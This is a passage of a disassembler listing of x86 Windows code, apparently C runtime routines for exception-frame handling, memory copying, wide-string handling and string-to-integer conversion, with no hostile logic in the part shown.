bp-based frame sub_4142E1 proc near ; DATA XREF: sub_41428D+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4181CF add esp, 20h pop ebp retn sub_4142E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414306 proc near ; CODE XREF: sub_418411+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4143BA mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41438C mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_7422A4 pop ecx pop ecx and [ebp+var_34], 0 loc_41438C: ; DATA XREF: sub_414306+3Co cmp [ebp+var_4], 0 jz short loc_4143A9 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4143B2 ; --------------------------------------------------------------------------- loc_4143A9: ; CODE XREF: sub_414306+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4143B2: ; CODE XREF: sub_414306+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_414306 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143BA proc near ; DATA XREF: sub_414306+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4143DD mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41442A ; --------------------------------------------------------------------------- loc_4143DD: ; CODE XREF: sub_4143BA+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4181CF add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41441B push [ebp+arg_0] push [ebp+arg_4] call sub_414208 loc_41441B: ; CODE XREF: sub_4143BA+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41442A: ; CODE XREF: sub_4143BA+21j pop edi pop esi pop ebx pop ebp retn sub_4143BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41442F proc near ; CODE XREF: sub_41826A+C6p ; sub_418411+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_414486 loc_41444D: ; CODE XREF: sub_41442F+52j cmp esi, 0FFFFFFFFh jnz short loc_414457 call sub_418A72 loc_414457: ; CODE XREF: sub_41442F+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41446C cmp ecx, [eax+8] jle short loc_414471 loc_41446C: ; CODE XREF: sub_41442F+36j cmp esi, 0FFFFFFFFh jnz short loc_41447D loc_414471: ; CODE XREF: sub_41442F+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41447D: ; CODE XREF: sub_41442F+40j cmp [ebp+arg_4], 0 jge short loc_41444D mov eax, [ebp+var_4] loc_414486: ; CODE XREF: sub_41442F+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41449A cmp esi, eax jbe short loc_41449F loc_41449A: ; CODE XREF: sub_41442F+65j call sub_418A72 loc_41449F: ; CODE XREF: sub_41442F+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41442F endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4144AC proc near ; CODE XREF: sub_41B124+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4144C4 push [ebp+arg_0] call sub_41E42E loc_4144C4: ; DATA XREF: sub_4144AC+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4144AC endp ; =============== S U B R O U T I N E ======================================= sub_4144CC proc near ; DATA XREF: sub_4144EE+Ao ; sub_414556+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4144ED mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4144ED: ; CODE XREF: sub_4144CC+10j retn sub_4144CC endp ; =============== S U B R O U T I N E ======================================= sub_4144EE proc near ; CODE XREF: sub_4186EB+Dp ; sub_41B124+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4144CC push large dword ptr fs:0 mov large fs:0, esp loc_41450B: ; CODE XREF: sub_4144EE:loc_414546j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_414548 cmp esi, [esp+1Ch+arg_4] jz short loc_414548 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_414546 push 101h mov eax, [ebx+esi*4+8] call sub_414582 call dword ptr [ebx+esi*4+8] loc_414546: ; CODE XREF: sub_4144EE+44j jmp short loc_41450B ; --------------------------------------------------------------------------- loc_414548: ; CODE XREF: sub_4144EE+2Aj ; sub_4144EE+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4144EE endp ; =============== S U B R O U T I N E ======================================= sub_414556 proc near ; CODE XREF: sub_41870B+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4144CC jnz short locret_414578 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_414578 mov eax, 1 locret_414578: ; CODE XREF: sub_414556+10j ; sub_414556+1Bj retn sub_414556 endp ; =============== S U B R O U T I N E ======================================= sub_414579 proc near ; CODE XREF: sub_4189D0+1Ep ; sub_4189D0+40p push ebx push ecx mov ebx, offset dword_43778C jmp short loc_41458C sub_414579 endp ; =============== S U B R O U T I N E ======================================= sub_414582 proc near ; CODE XREF: sub_4144EE+4Fp ; sub_41B124+78p push ebx push ecx mov ebx, offset dword_43778C mov ecx, [ebp+8] loc_41458C: ; CODE XREF: sub_414579+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_414582 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41459C proc near ; CODE XREF: sub_402CEB+5p ; sub_402E8D+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41459C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4145BB proc near ; CODE XREF: sub_403362+26p ; .text:0041E205p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_413F7F pop ecx retn sub_4145BB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4145D0 proc near ; CODE XREF: sub_4033D3+3Ap ; sub_4169A4+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4145F0 cmp edi, eax jb loc_414768 loc_4145F0: ; CODE XREF: sub_4145D0+16j test edi, 3 jnz short loc_41460C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41462C rep movsd jmp ds:off_414718[edx*4] ; --------------------------------------------------------------------------- loc_41460C: ; CODE XREF: sub_4145D0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_414624 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41462C+4[eax*4] ; --------------------------------------------------------------------------- loc_414624: ; CODE XREF: sub_4145D0+46j jmp dword ptr ds:loc_414728[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41462C: ; CODE XREF: sub_4145D0+31j ; sub_4145D0+8Ej ... jmp ds:off_4146AC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_414640 dd offset loc_41466C dd offset loc_414690 ; --------------------------------------------------------------------------- loc_414640: ; DATA XREF: sub_4145D0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41462C rep movsd jmp ds:off_414718[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41466C: ; DATA XREF: sub_4145D0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41462C rep movsd jmp ds:off_414718[edx*4] ; --------------------------------------------------------------------------- align 10h loc_414690: ; DATA XREF: sub_4145D0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41462C rep movsd jmp ds:off_414718[edx*4] ; --------------------------------------------------------------------------- align 4 off_4146AC dd offset loc_41470F ; DATA XREF: sub_4145D0:loc_41462Cr dd offset loc_4146FC dd offset loc_4146F4 dd offset loc_4146EC dd offset loc_4146E4 dd offset loc_4146DC dd offset loc_4146D4 dd offset loc_4146CC ; --------------------------------------------------------------------------- loc_4146CC: ; CODE XREF: sub_4145D0:loc_41462Cj ; DATA XREF: sub_4145D0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4146D4: ; CODE XREF: sub_4145D0:loc_41462Cj ; DATA XREF: sub_4145D0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4146DC: ; CODE XREF: sub_4145D0:loc_41462Cj ; DATA XREF: sub_4145D0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4146E4: ; CODE XREF: sub_4145D0:loc_41462Cj ; DATA XREF: sub_4145D0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4146EC: ; CODE XREF: sub_4145D0:loc_41462Cj ; DATA XREF: sub_4145D0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4146F4: ; CODE XREF: sub_4145D0:loc_41462Cj ; DATA XREF: sub_4145D0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4146FC: ; CODE XREF: sub_4145D0:loc_41462Cj ; DATA XREF: sub_4145D0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41470F: ; CODE XREF: sub_4145D0:loc_41462Cj ; DATA XREF: sub_4145D0:off_4146ACo jmp ds:off_414718[edx*4] ; --------------------------------------------------------------------------- align 4 off_414718 dd offset loc_414728 ; DATA XREF: sub_4145D0+35r ; sub_4145D0+92r ... dd offset loc_414730 dd offset loc_41473C dd offset loc_414750 ; --------------------------------------------------------------------------- loc_414728: ; CODE XREF: sub_4145D0+35j ; sub_4145D0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_414730: ; CODE XREF: sub_4145D0+35j ; sub_4145D0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41473C: ; CODE XREF: sub_4145D0+35j ; sub_4145D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_414750: ; CODE XREF: sub_4145D0+35j ; sub_4145D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_414768: ; CODE XREF: sub_4145D0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41479C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_414790 std rep movsd cld jmp ds:off_4148B0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_414790: ; CODE XREF: sub_4145D0+1B1j ; sub_4145D0+208j ... neg ecx jmp ds:off_414860[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41479C: ; CODE XREF: sub_4145D0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4147B4 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_4147B4+4[eax*4] ; --------------------------------------------------------------------------- loc_4147B4: ; CODE XREF: sub_4145D0+1D6j ; DATA XREF: sub_4145D0+1DDr jmp ds:off_4148B0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4147C7+1 dd offset loc_4147E8 ; --------------------------------------------------------------------------- adc [eax+41h], cl loc_4147C7: ; DATA XREF: sub_4145D0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_414790 std rep movsd cld jmp ds:off_4148B0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4147E8: ; DATA XREF: sub_4145D0+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_414790 std rep movsd cld jmp ds:off_4148B0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_414790 std rep movsd cld jmp ds:off_4148B0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_414864 dd offset loc_41486C dd offset loc_414874 dd offset loc_41487C dd offset loc_414884 dd offset loc_41488C dd offset loc_414894 off_414860 dd offset loc_4148A7 ; DATA XREF: sub_4145D0+1C2r ; --------------------------------------------------------------------------- loc_414864: ; DATA XREF: sub_4145D0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41486C: ; DATA XREF: sub_4145D0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_414874: ; DATA XREF: sub_4145D0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41487C: ; DATA XREF: sub_4145D0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_414884: ; DATA XREF: sub_4145D0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41488C: ; DATA XREF: sub_4145D0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_414894: ; DATA XREF: sub_4145D0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4148A7: ; CODE XREF: sub_4145D0+1C2j ; DATA XREF: sub_4145D0:off_414860o jmp ds:off_4148B0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4148B0 dd offset loc_4148C0 ; DATA XREF: sub_4145D0+1B7r ; sub_4145D0:loc_4147B4r ... dd offset loc_4148C8 dd offset loc_4148D8 dd offset loc_4148EC ; --------------------------------------------------------------------------- loc_4148C0: ; CODE XREF: sub_4145D0+1B7j ; sub_4145D0:loc_4147B4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4148C8: ; CODE XREF: sub_4145D0+1B7j ; sub_4145D0:loc_4147B4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4148D8: ; CODE XREF: sub_4145D0+1B7j ; sub_4145D0:loc_4147B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4148EC: ; CODE XREF: sub_4145D0+1B7j ; sub_4145D0:loc_4147B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4145D0 endp ; =============== S U B R O U T I N E ======================================= sub_414905 proc near ; CODE XREF: sub_40343A+34p ; sub_40343A+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_413F1D pop ecx pop ecx retn sub_414905 endp ; =============== S U B R O U T I N E ======================================= sub_414913 proc near ; CODE XREF: sub_414980+4p arg_0 = dword ptr 4 push esi push dword_743894 call sub_418AC8 mov edx, dword_743894 pop ecx mov ecx, dword_743890 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_414972 push edx call sub_418AC8 add eax, 10h push eax push dword_743894 call sub_4157BF add esp, 0Ch test eax, eax jnz short loc_414955 retn ; --------------------------------------------------------------------------- loc_414955: ; CODE XREF: sub_414913+3Fj mov ecx, dword_743890 sub ecx, dword_743894 mov dword_743894, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_743890, ecx loc_414972: ; CODE XREF: sub_414913+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_743890, 4 retn sub_414913 endp ; =============== S U B R O U T I N E ======================================= sub_414980 proc near ; CODE XREF: sub_403527+1Ap ; sub_41E40E+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_414913 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_414980 endp ; =============== S U B R O U T I N E ======================================= sub_414992 proc near ; DATA XREF: .data:00421014o push 80h call sub_413F0B test eax, eax pop ecx mov dword_743894, eax jnz short loc_4149B3 push 18h call sub_415F07 mov eax, dword_743894 pop ecx loc_4149B3: ; CODE XREF: sub_414992+12j and dword ptr [eax], 0 mov eax, dword_743894 mov dword_743890, eax retn sub_414992 endp ; =============== S U B R O U T I N E ======================================= sub_4149C1 proc near ; CODE XREF: sub_403C2B+35Bp ; sub_403C2B+3D7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push esi mov dx, [ecx] lea esi, [eax+2] mov [eax], dx loc_4149D3: ; CODE XREF: sub_4149C1+21j inc ecx inc ecx test dx, dx jz short loc_4149E4 mov dx, [ecx] mov [esi], dx inc esi inc esi jmp short loc_4149D3 ; --------------------------------------------------------------------------- loc_4149E4: ; CODE XREF: sub_4149C1+17j pop esi retn sub_4149C1 endp ; =============== S U B R O U T I N E ======================================= sub_4149E6 proc near ; CODE XREF: sub_403C2B+2B9p ; sub_403C2B+2DEp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4149FD loc_4149F3: ; CODE XREF: sub_4149E6+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4149F3 loc_4149FD: ; CODE XREF: sub_4149E6+Bj sub eax, ecx sar eax, 1 dec eax retn sub_4149E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A03 proc near ; CODE XREF: sub_403C2B+17Cp ; sub_40C212+19p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_414AD0 mov edi, [ebp+arg_8] cmp edi, esi jz loc_414AFD cmp dword_7422B4, esi jnz short loc_414A54 cmp edi, esi jbe loc_414AFD loc_414A33: ; CODE XREF: sub_414A03+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_414AFD inc eax inc edx inc edx cmp eax, edi jb short loc_414A33 jmp loc_414AFD ; --------------------------------------------------------------------------- loc_414A54: ; CODE XREF: sub_414A03+26j mov ebx, [ebp+arg_4] mov esi, ds:dword_41F110 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_7422C4 call esi ; MultiByteToWideChar test eax, eax jnz loc_414AFC call ds:off_41F06C cmp eax, 7Ah jz short loc_414A8E loc_414A7F: ; CODE XREF: sub_414A03+CBj ; sub_414A03+F7j mov dword_74222C, 2Ah or eax, 0FFFFFFFFh jmp short loc_414AFD ; --------------------------------------------------------------------------- loc_414A8E: ; CODE XREF: sub_414A03+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_414A96: ; CODE XREF: sub_414A03+B3j mov cl, [eax] test cl, cl jz short loc_414AB8 mov edx, off_4377B0 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_414AAD inc eax loc_414AAD: ; CODE XREF: sub_414A03+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_414A96 loc_414AB8: ; CODE XREF: sub_414A03+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_7422C4 call esi ; MultiByteToWideChar test eax, eax jnz short loc_414AFD jmp short loc_414A7F ; --------------------------------------------------------------------------- loc_414AD0: ; CODE XREF: sub_414A03+Fj cmp dword_7422B4, esi jnz short loc_414AE3 push [ebp+arg_4] call sub_413E90 pop ecx jmp short loc_414AFD ; --------------------------------------------------------------------------- loc_414AE3: ; CODE XREF: sub_414A03+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_7422C4 call ds:dword_41F110 ; MultiByteToWideChar cmp eax, esi jz short loc_414A7F loc_414AFC: ; CODE XREF: sub_414A03+6Bj dec eax loc_414AFD: ; CODE XREF: sub_414A03+1Aj ; sub_414A03+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_414A03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B02 proc near ; CODE XREF: sub_414D0A+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_414B1A: ; CODE XREF: sub_414B02+46j cmp dword_4379BC, 1 jle short loc_414B32 movzx eax, bl push 8 push eax call sub_41686F pop ecx pop ecx jmp short loc_414B41 ; --------------------------------------------------------------------------- loc_414B32: ; CODE XREF: sub_414B02+1Fj mov ecx, off_4377B0 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_414B41: ; CODE XREF: sub_414B02+2Ej test eax, eax jz short loc_414B4A mov bl, [esi] inc esi jmp short loc_414B1A ; --------------------------------------------------------------------------- loc_414B4A: ; CODE XREF: sub_414B02+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_414B58 or [ebp+arg_C], 2 jmp short loc_414B5D ; --------------------------------------------------------------------------- loc_414B58: ; CODE XREF: sub_414B02+4Ej cmp bl, 2Bh jnz short loc_414B63 loc_414B5D: ; CODE XREF: sub_414B02+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_414B63: ; CODE XREF: sub_414B02+59j mov eax, [ebp+arg_8] test eax, eax jl loc_414CFA cmp eax, 1 jz loc_414CFA cmp eax, 24h jg loc_414CFA push 10h test eax, eax pop ecx jnz short loc_414BAB cmp bl, 30h jz short loc_414B95 mov [ebp+arg_8], 0Ah jmp short loc_414BC7 ; --------------------------------------------------------------------------- loc_414B95: ; CODE XREF: sub_414B02+88j mov al, [esi] cmp al, 78h jz short loc_414BA8 cmp al, 58h jz short loc_414BA8 mov [ebp+arg_8], 8 jmp short loc_414BC7 ; --------------------------------------------------------------------------- loc_414BA8: ; CODE XREF: sub_414B02+97j ; sub_414B02+9Bj mov [ebp+arg_8], ecx loc_414BAB: ; CODE XREF: sub_414B02+83j cmp [ebp+arg_8], ecx jnz short loc_414BC7 cmp bl, 30h jnz short loc_414BC7 mov al, [esi] cmp al, 78h jz short loc_414BBF cmp al, 58h jnz short loc_414BC7 loc_414BBF: ; CODE XREF: sub_414B02+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_414BC7: ; CODE XREF: sub_414B02+91j ; sub_414B02+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_414BD7: ; CODE XREF: sub_414B02+16Cj cmp dword_4379BC, 1 movzx esi, bl jle short loc_414BEF push 4 push esi call sub_41686F pop ecx pop ecx jmp short loc_414BFA ; --------------------------------------------------------------------------- loc_414BEF: ; CODE XREF: sub_414B02+DFj mov eax, off_4377B0 mov al, [eax+esi*2] and eax, 4 loc_414BFA: ; CODE XREF: sub_414B02+EBj test eax, eax jz short loc_414C06 movsx ecx, bl sub ecx, 30h jmp short loc_414C38 ; --------------------------------------------------------------------------- loc_414C06: ; CODE XREF: sub_414B02+FAj cmp dword_4379BC, 1 jle short loc_414C1A push edi push esi call sub_41686F pop ecx pop ecx jmp short loc_414C25 ; --------------------------------------------------------------------------- loc_414C1A: ; CODE XREF: sub_414B02+10Bj mov eax, off_4377B0 mov ax, [eax+esi*2] and eax, edi loc_414C25: ; CODE XREF: sub_414B02+116j test eax, eax jz short loc_414C73 movsx eax, bl push eax call sub_418AF1 pop ecx mov ecx, eax sub ecx, 37h loc_414C38: ; CODE XREF: sub_414B02+102j cmp ecx, [ebp+arg_8] jnb short loc_414C73 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_414C5D jnz short loc_414C57 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_414C5D loc_414C57: ; CODE XREF: sub_414B02+147j or [ebp+arg_C], 4 jmp short loc_414C66 ; --------------------------------------------------------------------------- loc_414C5D: ; CODE XREF: sub_414B02+145j ; sub_414B02+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_414C66: ; CODE XREF: sub_414B02+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_414BD7 ; --------------------------------------------------------------------------- loc_414C73: ; CODE XREF: sub_414B02+125j ; sub_414B02+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_414C91 test edx, edx jz short loc_414C8B mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_414C8B: ; CODE XREF: sub_414B02+181j and [ebp+var_8], 0 jmp short loc_414CDE ; --------------------------------------------------------------------------- loc_414C91: ; CODE XREF: sub_414B02+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_414CB7 test cl, 1 jnz short loc_414CDE and ecx, 2 jz short loc_414CAE cmp [ebp+var_8], 80000000h ja short loc_414CB7 loc_414CAE: ; CODE XREF: sub_414B02+1A1j test ecx, ecx jnz short loc_414CDE cmp [ebp+var_8], eax jbe short loc_414CDE loc_414CB7: ; CODE XREF: sub_414B02+197j ; sub_414B02+1AAj test byte ptr [ebp+arg_C], 1 mov dword_74222C, 22h jz short loc_414CCD or [ebp+var_8], 0FFFFFFFFh jmp short loc_414CDE ; --------------------------------------------------------------------------- loc_414CCD: ; CODE XREF: sub_414B02+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx 